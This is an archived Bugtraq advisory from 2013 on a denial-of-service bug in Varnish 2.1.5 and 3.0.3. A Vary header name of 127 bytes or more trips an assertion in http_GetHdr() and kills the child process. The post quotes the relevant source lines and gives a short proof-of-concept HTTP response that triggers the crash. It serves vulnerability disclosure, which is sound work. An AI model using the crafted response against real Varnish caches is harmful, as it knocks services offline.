lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: Tue, 05 Mar 2013 20:57:38 +0000 From: tytusromekiatomek@...hmail.com To: bugtraq@...urityfocus.com Subject: Varnish 2.1.5, 3.0.3 DoS in http_GetHdr() while parsing Vary header ############################################## # http_GetHdr() | (l == strlen(hdr + 1)) # ############################################## # # Authors: # # 22733db72ab3ed94b5f8a1ffcde850251fe6f466 # c8e74ebd8392fda4788179f9a02bb49337638e7b # AKAT-1 # ############################################## # Versions: 3.0.3, 2.1.5 # Summary: It's possible to crash Varnish (via assertion) if the single header within the Vary header is longer then 127 bytes. The 'l' (cache_http.c#265) is the length of the given header name passed in a 'Vary' header and stored in the 'vsb' structure (vsb.h#39). It's compared with the strlen() of the same header name in the diagnostic() call (cache_http.c#266), which is a macro to assert() (include/vas.h#68). Because header name was stored in the 'vsb' as a signed char (cache_vary.c#98), the maximum value for 'l' is 127. If the header name is equal or larger than this value (which is the case for strlen()), the assert() is called and the child is killed with the SIGABRT. PoC (response) -- cut -- HTTP/1.1 200 foo Vary: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -- cut -- varnish-3.0.3/bin/varnishd/cache_vary.c: -- cut -- 95 /* Build a header-matching string out of it */ 96 VSB_clear(sbh); 97 VSB_printf(sbh, "%c%.*s:%c", 98 (char)(1 + (q - p)), (int)(q - p), p, 0); 99 AZ(VSB_finish(sbh)); 100 101 if (http_GetHdr(sp->http, VSB_data(sbh), &h)) { -- cut -- varnish-3.0.3/bin/varnishd/cache_http.c: -- cut -- 260 http_GetHdr(const struct http *hp, const char *hdr, char **ptr) 261 { 262 unsigned u, l; 263 char *p; 264 265 l = hdr[0]; 266 diagnostic(l == strlen(hdr + 1)); 267 assert(hdr[l] == ':'); -- cut -- EOF
Powered by blists - more mailing lists